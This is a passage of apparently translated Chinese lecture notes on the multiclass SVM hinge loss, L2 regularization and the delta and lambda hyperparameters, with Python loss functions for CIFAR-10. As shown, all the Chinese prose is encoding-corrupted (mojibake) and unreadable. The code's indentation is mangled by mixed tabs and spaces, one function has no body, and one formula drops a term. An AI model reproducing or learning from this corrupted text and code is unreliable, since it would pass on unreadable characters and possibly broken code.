ไธบๆญฃ็กฎๅˆ†็ฑป็š„ๅพ—ๅˆ†13ไธŽ้”™่ฏฏๅˆ†็ฑป็š„ๅพ—ๅˆ†-7็š„ๅทฎไธบ20๏ผŒ้ซ˜ไบŽ่พน็•Œๅ€ผ10ใ€‚่€ŒSVMๅชๅ…ณๅฟƒๅทฎ่ท่‡ณๅฐ‘่ฆๅคงไบŽ10๏ผŒๆ›ดๅคง็š„ๅทฎๅ€ผ่ฟ˜ๆ˜ฏ็ฎ—ไฝœๆŸๅคฑๅ€ผไธบ0ใ€‚็ฌฌไบŒไธช้ƒจๅˆ†่ฎก็ฎ—[11-13+10]ๅพ—ๅˆฐ8ใ€‚่™ฝ็„ถๆญฃ็กฎๅˆ†็ฑป็š„ๅพ—ๅˆ†ๆฏ”ไธๆญฃ็กฎๅˆ†็ฑป็š„ๅพ—ๅˆ†่ฆ้ซ˜๏ผˆ13>11๏ผ‰๏ผŒไฝ†ๆ˜ฏๆฏ”10็š„่พน็•Œๅ€ผ่ฟ˜ๆ˜ฏๅฐไบ†๏ผŒๅˆ†ๅทฎๅชๆœ‰2๏ผŒ่ฟ™ๅฐฑๆ˜ฏไธบไป€ไนˆๆŸๅคฑๅ€ผ็ญ‰ไบŽ8ใ€‚็ฎ€่€Œ่จ€ไน‹๏ผŒSVM็š„ๆŸๅคฑๅ‡ฝๆ•ฐๆƒณ่ฆๆญฃ็กฎๅˆ†็ฑป็ฑปๅˆซ![y_i](http://www.zhihu.com/equation?tex=y_i)็š„ๅˆ†ๆ•ฐๆฏ”ไธๆญฃ็กฎ็ฑปๅˆซๅˆ†ๆ•ฐ้ซ˜๏ผŒ่€Œไธ”่‡ณๅฐ‘่ฆ้ซ˜$\\Delta$ใ€‚ๅฆ‚ๆžœไธๆปก่ถณ่ฟ™็‚น๏ผŒๅฐฑๅผ€ๅง‹่ฎก็ฎ—ๆŸๅคฑๅ€ผใ€‚\n\n้‚ฃไนˆๅœจ่ฟ™ๆฌก็š„ๆจกๅž‹ไธญ๏ผŒๆˆ‘ไปฌ้ขๅฏน็š„ๆ˜ฏ็บฟๆ€ง่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ๏ผˆ$f(x_i,W)=Wx_i$๏ผ‰๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅฏไปฅๅฐ†ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ…ฌๅผ็จๅพฎๆ”นๅ†™ไธ€ไธ‹๏ผš\n$$\nL_i=\\sum_{j\\neq y_i}\\max(0,w^T_jx_i-w^T_{y_i}x_i+\\Delta)\n$$\nๅ…ถไธญ$w_j$ๆ˜ฏๆƒ้‡$W$็š„็ฌฌj่กŒ๏ผŒ่ขซๅ˜ๅฝขไธบๅˆ—ๅ‘้‡ใ€‚็„ถ่€Œ๏ผŒไธ€ๆ—ฆๅผ€ๅง‹่€ƒ่™‘ๆ›ดๅคๆ‚็š„่ฏ„ๅˆ†ๅ‡ฝๆ•ฐ$f$ๅ…ฌๅผ๏ผŒ่ฟ™ๆ ทๅšๅฐฑไธๆ˜ฏๅฟ…้กป็š„ไบ†ใ€‚\n\nๅœจ็ป“ๆŸ่ฟ™ไธ€ๅฐ่Š‚ๅ‰๏ผŒ่ฟ˜ๅฟ…้กปๆไธ€ไธ‹็š„ๅฑžไบŽๆ˜ฏๅ…ณไบŽ0็š„้˜€ๅ€ผ๏ผš$\\max(0,-)$ๅ‡ฝๆ•ฐ๏ผŒๅฎƒๅธธ่ขซ็งฐไธบ**ๆŠ˜ๅถๆŸๅคฑ๏ผˆhinge loss๏ผ‰**ใ€‚ๆœ‰ๆ—ถๅ€™ไผšๅฌๅˆฐไบบไปฌไฝฟ็”จๅนณๆ–นๆŠ˜ๅถๆŸๅคฑSVM๏ผˆๅณL2-SVM๏ผ‰๏ผŒๅฎƒไฝฟ็”จ็š„ๆ˜ฏ$\\max(0,-)^2$๏ผŒๅฐ†ๆ›ดๅผบ็ƒˆ๏ผˆๅนณๆ–นๅœฐ่€Œไธๆ˜ฏ็บฟๆ€งๅœฐ๏ผ‰ๅœฐๆƒฉ็ฝš่ฟ‡็•Œ็š„่พน็•Œๅ€ผใ€‚ไธไฝฟ็”จๅนณๆ–นๆ˜ฏๆ›ดๆ ‡ๅ‡†็š„็‰ˆๆœฌ๏ผŒไฝ†ๆ˜ฏๅœจๆŸไบ›ๆ•ฐๆฎ้›†ไธญ๏ผŒๅนณๆ–นๆŠ˜ๅถๆŸๅคฑไผšๅทฅไฝœๅพ—ๆ›ดๅฅฝใ€‚ๅฏไปฅ้€š่ฟ‡ไบคๅ‰้ชŒ่ฏๆฅๅ†ณๅฎšๅˆฐๅบ•ไฝฟ็”จๅ“ชไธชใ€‚\n\n> ๆˆ‘ไปฌๅฏนไบŽ้ข„ๆต‹่ฎญ็ปƒ้›†ๆ•ฐๆฎๅˆ†็ฑปๆ ‡็ญพ็š„ๆƒ…ๅ†ตๆ€ปๆœ‰ไธ€ไบ›ไธๆปกๆ„็š„๏ผŒ่€Œ**ๆŸๅคฑๅ‡ฝๆ•ฐๅฐฑ่ƒฝๅฐ†่ฟ™ไบ›ไธๆปกๆ„็š„็จ‹ๅบฆ้‡ๅŒ–**ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/04/5b8e081fc7f94.png)\n\nๅคš็ฑปSVMโ€œๆƒณ่ฆโ€ๆญฃ็กฎ็ฑปๅˆซ็š„ๅˆ†็ฑปๅˆ†ๆ•ฐๆฏ”ๅ…ถไป–ไธๆญฃ็กฎๅˆ†็ฑป็ฑปๅˆซ็š„ๅˆ†ๆ•ฐ่ฆ้ซ˜๏ผŒ่€Œไธ”่‡ณๅฐ‘้ซ˜ๅ‡บdelta็š„่พน็•Œๅ€ผใ€‚ๅฆ‚ๆžœๅ…ถไป–ๅˆ†็ฑปๅˆ†ๆ•ฐ่ฟ›ๅ…ฅไบ†็บข่‰ฒ็š„ๅŒบๅŸŸ๏ผŒ็”š่‡ณๆ›ด้ซ˜๏ผŒ้‚ฃไนˆๅฐฑๅผ€ๅง‹่ฎก็ฎ—ๆŸๅคฑใ€‚ๅฆ‚ๆžœๆฒกๆœ‰่ฟ™ไบ›ๆƒ…ๅ†ต๏ผŒๆŸๅคฑๅ€ผไธบ0ใ€‚<u>ๆˆ‘ไปฌ็š„็›ฎๆ ‡ๆ˜ฏๆ‰พๅˆฐไธ€ไบ›ๆƒ้‡๏ผŒๅฎƒไปฌๆ—ข่ƒฝๅคŸ่ฎฉ่ฎญ็ปƒ้›†ไธญ็š„ๆ•ฐๆฎๆ ทไพ‹ๆปก่ถณ่ฟ™ไบ›้™ๅˆถ๏ผŒไนŸ่ƒฝ่ฎฉๆ€ป็š„ๆŸๅคฑๅ€ผๅฐฝๅฏ่ƒฝๅœฐไฝŽใ€‚</u>\n\n---\n\n**ๆญฃๅˆ™ๅŒ–๏ผˆRegularization๏ผ‰๏ผš**ไธŠ้ขๆŸๅคฑๅ‡ฝๆ•ฐๆœ‰ไธ€ไธช้—ฎ้ข˜ใ€‚ๅ‡่ฎพๆœ‰ไธ€ไธชๆ•ฐๆฎ้›†ๅ’Œไธ€ไธชๆƒ้‡้›†**W**่ƒฝๅคŸๆญฃ็กฎๅœฐๅˆ†็ฑปๆฏไธชๆ•ฐๆฎ๏ผˆๅณๆ‰€ๆœ‰็š„่พน็•Œ้ƒฝๆปก่ถณ๏ผŒๅฏนไบŽๆ‰€ๆœ‰็š„i้ƒฝๆœ‰$L_i=0$๏ผ‰ใ€‚<u>้—ฎ้ข˜ๅœจไบŽ่ฟ™ไธช**W**ๅนถไธๅ”ฏไธ€</u>๏ผšๅฏ่ƒฝๆœ‰ๅพˆๅคš็›ธไผผ็š„**W**้ƒฝ่ƒฝๆญฃ็กฎๅœฐๅˆ†็ฑปๆ‰€ๆœ‰็š„ๆ•ฐๆฎใ€‚ไธ€ไธช็ฎ€ๅ•็š„ไพ‹ๅญ๏ผšๅฆ‚ๆžœ**W**่ƒฝๅคŸๆญฃ็กฎๅˆ†็ฑปๆ‰€ๆœ‰ๆ•ฐๆฎ๏ผŒๅณๅฏนไบŽๆฏไธชๆ•ฐๆฎ๏ผŒๆŸๅคฑๅ€ผ้ƒฝๆ˜ฏ0ใ€‚้‚ฃไนˆๅฝ“$\\lambda>1$ๆ—ถ๏ผŒไปปไฝ•ๆ•ฐไน˜$\\lambda W$้ƒฝ่ƒฝไฝฟๅพ—ๆŸๅคฑๅ€ผไธบ0๏ผŒๅ› ไธบ่ฟ™ไธชๅ˜ๅŒ–ๅฐ†ๆ‰€ๆœ‰ๅˆ†ๅ€ผ็š„ๅคงๅฐ้ƒฝๅ‡็ญ‰ๅœฐๆ‰ฉๅคงไบ†๏ผŒๆ‰€ไปฅๅฎƒไปฌไน‹้—ด็š„็ปๅฏนๅทฎๅ€ผไนŸๆ‰ฉๅคงไบ†ใ€‚ไธพไธชไพ‹ๅญ๏ผŒๅฆ‚ๆžœไธ€ไธชๆญฃ็กฎๅˆ†็ฑป็š„ๅˆ†ๅ€ผๅ’Œไธพไพ‹ๅฎƒๆœ€่ฟ‘็š„้”™่ฏฏๅˆ†็ฑป็š„ๅˆ†ๅ€ผ็š„ๅทฎ่ทๆ˜ฏ15๏ผŒๅฏน**W**ไน˜ไปฅ2ๅฐ†ไฝฟๅพ—ๅทฎ่ทๅ˜ๆˆ30ใ€‚\n\nๆขๅฅ่ฏ่ฏด๏ผŒๆˆ‘ไปฌๅธŒๆœ›่ƒฝๅ‘ๆŸไบ›็‰นๅฎš็š„ๆƒ้‡**W**ๆทปๅŠ ไธ€ไบ›ๅๅฅฝ๏ผŒๅฏนๅ…ถไป–ๆƒ้‡ๅˆ™ไธๆทปๅŠ ๏ผŒไปฅๆญคๆฅๆถˆ้™คๆจก็ณŠๆ€งใ€‚่ฟ™ไธ€็‚นๆ˜ฏ่ƒฝๅคŸๅฎž็Žฐ็š„๏ผŒๆ–นๆณ•ๆ˜ฏๅ‘ๆŸๅคฑๅ‡ฝๆ•ฐๅขžๅŠ ไธ€ไธช**ๆญฃๅˆ™ๅŒ–ๆƒฉ็ฝš๏ผˆregularization penalty๏ผ‰**$R(W)$้ƒจๅˆ†ใ€‚ๆœ€ๅธธ็”จ็š„ๆญฃๅˆ™ๅŒ–ๆƒฉ็ฝšๆ˜ฏL2่Œƒๅผ๏ผŒL2่Œƒๅผ้€š่ฟ‡ๅฏนๆ‰€ๆœ‰ๅ‚ๆ•ฐ่ฟ›่กŒ้€ๅ…ƒ็ด ็š„ๅนณๆ–นๆƒฉ็ฝšๆฅๆŠ‘ๅˆถๅคงๆ•ฐๅ€ผ็š„ๆƒ้‡๏ผš\n$$\nR(W)=\\sum_k\\sum_lW^2_{k,l}\n$$\nไธŠ้ข็š„่กจ่พพๅผไธญ๏ผŒๅฐ†$W$ไธญๆ‰€ๆœ‰ๅ…ƒ็ด ๅนณๆ–นๅŽๆฑ‚ๅ’Œใ€‚<u>ๆณจๆ„ๆญฃๅˆ™ๅŒ–ๅ‡ฝๆ•ฐไธๆ˜ฏๆ•ฐๆฎ็š„ๅ‡ฝๆ•ฐ๏ผŒไป…ๅŸบไบŽๆƒ้‡ใ€‚</u>ๅŒ…ๅซๆญฃๅˆ™ๅŒ–ๆƒฉ็ฝšๅŽ๏ผŒๅฐฑ่ƒฝๅคŸ็ป™ๅ‡บๅฎŒๆ•ด็š„ๅคš็ฑปSVMๆŸๅคฑๅ‡ฝๆ•ฐไบ†๏ผŒๅฎƒ็”ฑไธคไธช้ƒจๅˆ†็ป„ๆˆ๏ผš**ๆ•ฐๆฎๆŸๅคฑ๏ผˆdata loss๏ผ‰**๏ผŒๅณๆ‰€ๆœ‰ๆ ทไพ‹็š„็š„ๅนณๅ‡ๆŸๅคฑ$L_i$๏ผŒไปฅๅŠ**ๆญฃๅˆ™ๅŒ–ๆŸๅคฑ๏ผˆregularization loss๏ผ‰**ใ€‚ๅฎŒๆ•ดๅ…ฌๅผๅฆ‚ไธ‹ๆ‰€็คบ๏ผš\n$$\nL=\\frac{1}{N}\\sum_iL_i+\\lambda R(W)\n$$\nๅฐ†ๅ…ถๅฑ•ๅผ€ๅฎŒๆ•ดๅ…ฌๅผๆ˜ฏ๏ผš\n$$\nL=\\frac{1}{N}\\sum_i\\sum_{j\\neq y_i}[\\max(0,f(x_i;W)_j-f(x_i;W)_{y_i}+\\Delta)]+\\lambda\\sum_k\\sum_lW^2_{k,l}\n$$\nๅ…ถไธญ๏ผŒ$N$ๆ˜ฏ่ฎญ็ปƒ้›†็š„ๆ•ฐๆฎ้‡ใ€‚็Žฐๅœจๆญฃๅˆ™ๅŒ–ๆƒฉ็ฝšๆทปๅŠ ๅˆฐไบ†ๆŸๅคฑๅ‡ฝๆ•ฐ้‡Œ้ข๏ผŒๅนถ็”จ่ถ…ๅ‚ๆ•ฐ$\\lambda$ๆฅ่ฎก็ฎ—ๅ…ถๆƒ้‡ใ€‚่ฏฅ่ถ…ๅ‚ๆ•ฐๆ— ๆณ•็ฎ€ๅ•็กฎๅฎš๏ผŒ้œ€่ฆ้€š่ฟ‡ไบคๅ‰้ชŒ่ฏๆฅ่Žทๅ–ใ€‚\n\n้™คไบ†ไธŠ่ฟฐ็†็”ฑๅค–๏ผŒๅผ•ๅ…ฅๆญฃๅˆ™ๅŒ–ๆƒฉ็ฝš่ฟ˜ๅธฆๆฅๅพˆๅคš่‰ฏๅฅฝ็š„ๆ€ง่ดจ๏ผŒ่ฟ™ไบ›ๆ€ง่ดจๅคงๅคšไผšๅœจๅŽ็ปญ็ซ ่Š‚ไป‹็ปใ€‚ๆฏ”ๅฆ‚ๅผ•ๅ…ฅไบ†L2ๆƒฉ็ฝšๅŽ๏ผŒSVMไปฌๅฐฑๆœ‰ไบ†**ๆœ€ๅคง่พน็•Œ๏ผˆmax margin๏ผ‰**่ฟ™ไธ€่‰ฏๅฅฝๆ€ง่ดจใ€‚๏ผˆๅฆ‚ๆžœๆ„Ÿๅ…ด่ถฃ๏ผŒๅฏไปฅๆŸฅ็œ‹[CS229่ฏพ็จ‹](http://link.zhihu.com/?target=http%3A//cs229.stanford.edu/notes/cs229-notes3.pdf)๏ผ‰ใ€‚\n\nๅ…ถไธญ<u>ๆœ€ๅฅฝ็š„ๆ€ง่ดจๅฐฑๆ˜ฏๅฏนๅคงๆ•ฐๅ€ผๆƒ้‡่ฟ›่กŒๆƒฉ็ฝš๏ผŒๅฏไปฅๆๅ‡ๅ…ถๆณ›ๅŒ–่ƒฝๅŠ›</u>๏ผŒๅ› ไธบ่ฟ™ๅฐฑๆ„ๅ‘ณ็€ๆฒกๆœ‰ๅ“ชไธช็ปดๅบฆ่ƒฝๅคŸ็‹ฌ่‡ชๅฏนไบŽๆ•ดไฝ“ๅˆ†ๅ€ผๆœ‰่ฟ‡ๅคง็š„ๅฝฑๅ“ใ€‚ไธพไธชไพ‹ๅญ๏ผŒๅ‡่ฎพ่พ“ๅ…ฅๅ‘้‡$x=[1,1,1,1]$๏ผŒไธคไธชๆƒ้‡ๅ‘้‡$w_1=[1,0,0,0]$๏ผŒ$w_2=[0.25,0.25,0.25,0.25]$ใ€‚้‚ฃไนˆ$w^T_1x=w^T_2=1$๏ผŒไธคไธชๆƒ้‡ๅ‘้‡้ƒฝๅพ—ๅˆฐๅŒๆ ท็š„ๅ†…็งฏ๏ผŒไฝ†ๆ˜ฏ$w_1$็š„L2ๆƒฉ็ฝšๆ˜ฏ1.0๏ผŒ่€Œ$w_2$็š„L2ๆƒฉ็ฝšๆ˜ฏ0.25ใ€‚ๅ› ๆญค๏ผŒๆ นๆฎL2ๆƒฉ็ฝšๆฅ็œ‹๏ผŒ$w_2$ๆ›ดๅฅฝ๏ผŒๅ› ไธบๅฎƒ็š„ๆญฃๅˆ™ๅŒ–ๆŸๅคฑๆ›ดๅฐใ€‚ไปŽ็›ด่ง‚ไธŠๆฅ็œ‹๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบ$w_2$็š„ๆƒ้‡ๅ€ผๆ›ดๅฐไธ”ๆ›ดๅˆ†ๆ•ฃใ€‚ๆ—ข็„ถL2ๆƒฉ็ฝšๅ€พๅ‘ไบŽๆ›ดๅฐๆ›ดๅˆ†ๆ•ฃ็š„ๆƒ้‡ๅ‘้‡๏ผŒ่ฟ™ๅฐฑไผš้ผ“ๅŠฑๅˆ†็ฑปๅ™จๆœ€็ปˆๅฐ†ๆ‰€ๆœ‰็ปดๅบฆไธŠ็š„็‰นๅพ้ƒฝ็”จ่ตทๆฅ๏ผŒ่€Œไธๆ˜ฏๅผบ็ƒˆไพ่ต–ๅ…ถไธญๅฐ‘ๆ•ฐๅ‡ ไธช็ปดๅบฆใ€‚ๅœจๅŽ้ข็š„่ฏพ็จ‹ไธญๅฏไปฅ็œ‹ๅˆฐ๏ผŒ่ฟ™ไธ€ๆ•ˆๆžœๅฐ†ไผšๆๅ‡ๅˆ†็ฑปๅ™จ็š„ๆณ›ๅŒ–่ƒฝๅŠ›๏ผŒๅนถ้ฟๅ…*่ฟ‡ๆ‹Ÿๅˆ*ใ€‚\n\n้œ€่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๅ’Œๆƒ้‡ไธๅŒ๏ผŒๅๅทฎๆฒกๆœ‰่ฟ™ๆ ท็š„ๆ•ˆๆžœ๏ผŒๅ› ไธบๅฎƒไปฌๅนถไธๆŽงๅˆถ่พ“ๅ…ฅ็ปดๅบฆไธŠ็š„ๅฝฑๅ“ๅผบๅบฆใ€‚ๅ› ๆญค<u>้€šๅธธๅชๅฏนๆƒ้‡$W$ๆญฃๅˆ™ๅŒ–๏ผŒ่€Œไธๆญฃๅˆ™ๅŒ–ๅๅทฎ$b$</u>ใ€‚ๅœจๅฎž้™…ๆ“ไฝœไธญ๏ผŒๅฏๅ‘็Žฐ่ฟ™ไธ€ๆ“ไฝœ็š„ๅฝฑๅ“ๅฏๅฟฝ็•ฅไธ่ฎกใ€‚ๆœ€ๅŽ๏ผŒๅ› ไธบๆญฃๅˆ™ๅŒ–ๆƒฉ็ฝš็š„ๅญ˜ๅœจ๏ผŒไธๅฏ่ƒฝๅœจๆ‰€ๆœ‰็š„ไพ‹ๅญไธญๅพ—ๅˆฐ0็š„ๆŸๅคฑๅ€ผ๏ผŒ่ฟ™ๆ˜ฏๅ› ไธบๅชๆœ‰ๅฝ“$W=0$็š„็‰นๆฎŠๆƒ…ๅ†ตไธ‹๏ผŒๆ‰่ƒฝๅพ—ๅˆฐๆŸๅคฑๅ€ผไธบ0ใ€‚\n\n**ไปฃ็ **๏ผšไธ‹้ขๆ˜ฏไธ€ไธชๆ— ๆญฃๅˆ™ๅŒ–้ƒจๅˆ†็š„ๆŸๅคฑๅ‡ฝๆ•ฐ็š„Pythonๅฎž็Žฐ๏ผŒๆœ‰้žๅ‘้‡ๅŒ–ๅ’ŒๅŠๅ‘้‡ๅŒ–ไธคไธชๅฝขๅผ๏ผš\n\n```python\ndef L_i(x, y, W):\n\t\"\"\"\n \tunvectorized version. Compute the multiclass svm loss for a single example (x,y)\n - x is a column vector representing an image (e.g. 3073 x 1 in CIFAR-10)\n with an appended bias dimension in the 3073-rd position (i.e. bias trick)\n - y is an integer giving index of correct class (e.g. between 0 and 9 in CIFAR-10)\n - W is the weight matrix (e.g. 10 x 3073 in CIFAR-10)\n\tๆœชๅ‘้‡ๅŒ–็‰ˆๆœฌ. ๅฏน็ป™ๅฎš็š„ๅ•ไธชๆ ทๆœฌ(x,y)่ฎก็ฎ—multiclass svm loss.\n - x: ไปฃ่กจๅ›พ็‰‡ๅƒ็ด ่พ“ๅ…ฅ็š„ๅ‘้‡ (ไพ‹ๅฆ‚CIFAR-10ไธญๆ˜ฏ3073 x 1๏ผŒๅ› ไธบๆทปๅŠ ไบ†bias้กนๅฏนๅบ”็š„1ๅˆฐxไธญ)\n - y: ๅ›พ็‰‡ๅฏนๅบ”็š„็ฑปๅˆซ็ผ–ๅท(ๆฏ”ๅฆ‚CIFAR-10ไธญๆ˜ฏ0-9)\n - W: ๆƒ้‡็Ÿฉ้˜ต (ไพ‹ๅฆ‚CIFAR-10ไธญๆ˜ฏ10 x 3073)\n\t\"\"\"\n delta = 1.0 # see notes about delta later in this section\n \tscores = W.dot(x) # scores becomes of size 10 x 1, the scores for each class\n \tcorrect_class_score = scores[y]\n \tD = W.shape[0] # number of classes, e.g. 10\n \tloss_i = 0.0\n \tfor j in xrange(D): # iterate over all wrong classes\n \tif j == y:\n \t\t# skip for the true class to only loop over incorrect classes\n \t\tcontinue\n \t# accumulate loss for the i-th example\n \tloss_i += max(0, scores[j] - correct_class_score + delta)\n \treturn loss_i\n\ndef L_i_vectorized(x, y, W):\n \t\"\"\" \n \tA faster half-vectorized implementation. half-vectorized\n \trefers to the fact that for a single example the implementation contains\n \tno for loops, but there is still one loop over the examples (outside this function)\n \tๅŠๅ‘้‡ๅŒ–็š„็‰ˆๆœฌ๏ผŒ้€Ÿๅบฆๆ›ดๅฟซใ€‚\n \tไน‹ๆ‰€ไปฅ่ฏดๆ˜ฏๅŠๅ‘้‡ๅŒ–๏ผŒๆ˜ฏๅ› ไธบ่ฟ™ไธชๅ‡ฝๆ•ฐๅค–ๅฑ‚่ฆ็”จforๅพช็Žฏ้ๅŽ†ๆ•ดไธช่ฎญ็ปƒ้›† -_-||\n \t\"\"\"\n\tdelta = 1.0\n \tscores = W.dot(x)\n \t# compute the margins for all classes in one vector operation\n \tmargins = np.maximum(0, scores - scores[y] + delta)\n \t# on y-th position scores[y] - scores[y] canceled and gave delta. We want\n \t# to ignore the y-th position and only consider margin on max wrong class\n \tmargins[y] = 0\n \tloss_i = np.sum(margins)\n \treturn loss_i\n\ndef L(X, y, W):\n \t\"\"\"\n \tfully-vectorized implementation :\n \t- X holds all the training examples as columns (e.g. 3073 x 50,000 in CIFAR-10)\n \t- y is array of integers specifying correct class (e.g. 50,000-D array)\n \t- W are weights (e.g. 10 x 3073)\n \t ๅ…จๅ‘้‡ๅŒ–ๅฎž็Žฐ :\n \t- X: ๅŒ…ๅซๆ‰€ๆœ‰่ฎญ็ปƒๆ ทๆœฌไธญๆ•ฐๆฎ(ไพ‹ๅฆ‚CIFAR-10ๆ˜ฏ3073 x 50000)\n \t- y: ๆ‰€ๆœ‰็š„็ฑปๅˆซ็ป“ๆžœ (ไพ‹ๅฆ‚50000 x 1็š„ๅ‘้‡)\n \t- W: ๆƒ้‡็Ÿฉ้˜ต (ไพ‹ๅฆ‚10 x 3073)\n \t\"\"\"\n \t# evaluate loss over all examples in X without using any for loops\n \t# left as exercise to reader in the assignment\n \n# REF๏ผšhttp://blog.csdn.net/han_xiaoyang/article/details/49999583\n```\n\n\n\nๅœจๆœฌๅฐ่Š‚็š„ๅญฆไน ไธญ๏ผŒไธ€ๅฎš่ฆ่ฎฐๅพ—SVMๆŸๅคฑ้‡‡ๅ–ไบ†ไธ€็ง็‰นๆฎŠ็š„ๆ–นๆณ•๏ผŒไฝฟๅพ—่ƒฝๅคŸ่กก้‡ๅฏนไบŽ่ฎญ็ปƒๆ•ฐๆฎ้ข„ๆต‹ๅˆ†็ฑปๅ’Œๅฎž้™…ๅˆ†็ฑปๆ ‡็ญพ็š„ไธ€่‡ดๆ€งใ€‚่ฟ˜ๆœ‰๏ผŒ<u>ๅฏน่ฎญ็ปƒ้›†ไธญๆ•ฐๆฎๅšๅ‡บๅ‡†็กฎๅˆ†็ฑป้ข„ๆต‹ๅ’Œ่ฎฉๆŸๅคฑๅ€ผๆœ€ๅฐๅŒ–่ฟ™ไธคไปถไบ‹ๆ˜ฏ็ญ‰ไปท็š„ใ€‚</u>\n\n> ๆŽฅไธ‹ๆฅ่ฆๅš็š„๏ผŒๅฐฑๆ˜ฏๆ‰พๅˆฐ่ƒฝๅคŸไฝฟๆŸๅคฑๅ€ผๆœ€ๅฐๅŒ–็š„ๆƒ้‡ไบ†ใ€‚\n\n### SVM็š„ๅฎž้™…่€ƒ่™‘\n\n**่ฎพ็ฝฎDelta**๏ผšไฝ ๅฏ่ƒฝๆณจๆ„ๅˆฐไธŠ้ข็š„ๅ†…ๅฎนๅฏน่ถ…ๅ‚ๆ•ฐ$\\Delta$ๅŠๅ…ถ่ฎพ็ฝฎๆ˜ฏไธ€็ฌ”ๅธฆ่ฟ‡๏ผŒ้‚ฃไนˆๅฎƒๅบ”่ฏฅ่ขซ่ฎพ็ฝฎๆˆไป€ไนˆๅ€ผ๏ผŸ้œ€่ฆ้€š่ฟ‡ไบคๅ‰้ชŒ่ฏๆฅๆฑ‚ๅพ—ๅ—๏ผŸ็Žฐๅœจ็œ‹ๆฅ๏ผŒ่ฏฅ่ถ…ๅ‚ๆ•ฐๅœจ็ปๅคงๅคšๆ•ฐๆƒ…ๅ†ตไธ‹่ฎพไธบ$\\Delta=1.0$้ƒฝๆ˜ฏๅฎ‰ๅ…จ็š„ใ€‚<u>่ถ…ๅ‚ๆ•ฐ$\\Delta$ๅ’Œ$\\lambda$็œ‹่ตทๆฅๆ˜ฏไธคไธชไธๅŒ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒไฝ†ๅฎž้™…ไธŠไป–ไปฌไธ€่ตทๆŽงๅˆถๅŒไธ€ไธชๆƒ่กก๏ผšๅณๆŸๅคฑๅ‡ฝๆ•ฐไธญ็š„ๆ•ฐๆฎๆŸๅคฑๅ’Œๆญฃๅˆ™ๅŒ–ๆŸๅคฑไน‹้—ด็š„ๆƒ่กกใ€‚</u>็†่งฃ่ฟ™ไธ€็‚น็š„ๅ…ณ้”ฎๆ˜ฏ่ฆ็Ÿฅ้“๏ผŒๆƒ้‡$W$็š„ๅคงๅฐๅฏนไบŽๅˆ†็ฑปๅˆ†ๅ€ผๆœ‰็›ดๆŽฅๅฝฑๅ“๏ผˆๅฝ“็„ถๅฏนไป–ไปฌ็š„ๅทฎๅผ‚ไนŸๆœ‰็›ดๆŽฅๅฝฑๅ“๏ผ‰๏ผšๅฝ“ๆˆ‘ไปฌๅฐ†$W$ไธญๅ€ผ็ผฉๅฐ๏ผŒๅˆ†็ฑปๅˆ†ๅ€ผไน‹้—ด็š„ๅทฎๅผ‚ไนŸๅ˜ๅฐ๏ผŒๅไน‹ไบฆ็„ถใ€‚ๅ› ๆญค๏ผŒไธๅŒๅˆ†็ฑปๅˆ†ๅ€ผไน‹้—ด็š„่พน็•Œ็š„ๅ…ทไฝ“ๅ€ผ๏ผˆๆฏ”ๅฆ‚$\\Delta=1$ๆˆ–$\\Delta=100$๏ผ‰ไปŽๆŸไบ›่ง’ๅบฆๆฅ็œ‹ๆ˜ฏๆฒกๆ„ไน‰็š„๏ผŒๅ› ไธบๆƒ้‡่‡ชๅทฑๅฐฑๅฏไปฅๆŽงๅˆถๅทฎๅผ‚ๅ˜ๅคงๅ’Œ็ผฉๅฐใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒ็œŸๆญฃ็š„ๆƒ่กกๆ˜ฏๆˆ‘ไปฌๅ…่ฎธๆƒ้‡่ƒฝๅคŸๅ˜ๅคงๅˆฐไฝ•็ง็จ‹ๅบฆ๏ผˆ้€š่ฟ‡ๆญฃๅˆ™ๅŒ–ๅผบๅบฆ$\\lambda$ๆฅๆŽงๅˆถ๏ผ‰ใ€‚\n\n**ไธŽไบŒๅ…ƒๆ”ฏๆŒๅ‘้‡ๆœบ๏ผˆBinary Support Vector Machine๏ผ‰็š„ๅ…ณ็ณป**๏ผšๅœจๅญฆไน ๆœฌ่ฏพ็จ‹ๅ‰๏ผŒไฝ ๅฏ่ƒฝๅฏนไบŽไบŒๅ…ƒๆ”ฏๆŒๅ‘้‡ๆœบๆœ‰ไบ›็ป้ชŒ๏ผŒๅฎƒๅฏนไบŽ็ฌฌiไธชๆ•ฐๆฎ็š„ๆŸๅคฑ่ฎก็ฎ—ๅ…ฌๅผๆ˜ฏ๏ผš\n$$\nL_i=C\\max(0,1-y_iw^Tx_i)+R(W)\n$$\nๅ…ถไธญ๏ผŒ$C$ๆ˜ฏไธ€ไธช่ถ…ๅ‚ๆ•ฐ๏ผŒๅนถไธ”$y_i\\in\\{-1,1\\}$ใ€‚ๅฏไปฅ่ฎคไธบๆœฌ็ซ ่Š‚ไป‹็ป็š„SVMๅ…ฌๅผๅŒ…ๅซไบ†ไธŠ่ฟฐๅ…ฌๅผ๏ผŒไธŠ่ฟฐๅ…ฌๅผๆ˜ฏๅคš็ฑปๆ”ฏๆŒๅ‘้‡ๆœบๅ…ฌๅผๅชๆœ‰ไธคไธชๅˆ†็ฑป็ฑปๅˆซ็š„็‰นไพ‹ใ€‚ไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ่ฆๅˆ†็ฑป็š„็ฑปๅˆซๅชๆœ‰ไธคไธช๏ผŒ้‚ฃไนˆๅ…ฌๅผๅฐฑๅŒ–ไธบไบŒๅ…ƒSVMๅ…ฌๅผใ€‚่ฟ™ไธชๅ…ฌๅผไธญ็š„$C$ๅ’Œๅคš็ฑปSVMๅ…ฌๅผไธญ็š„$\\lambda$้ƒฝๆŽงๅˆถ็€ๅŒๆ ท็š„ๆƒ่กก๏ผŒ่€Œไธ”ๅฎƒไปฌไน‹้—ด็š„ๅ…ณ็ณปๆ˜ฏ$C\\varpropto\\frac{1}{\\lambda}$\n\n**ๅค‡ๆณจ๏ผšๅœจๅˆๅง‹ๅฝขๅผไธญ่ฟ›่กŒๆœ€ไผ˜ๅŒ–**ใ€‚ๅฆ‚ๆžœๅœจๆœฌ่ฏพ็จ‹ไน‹ๅ‰ๅญฆไน 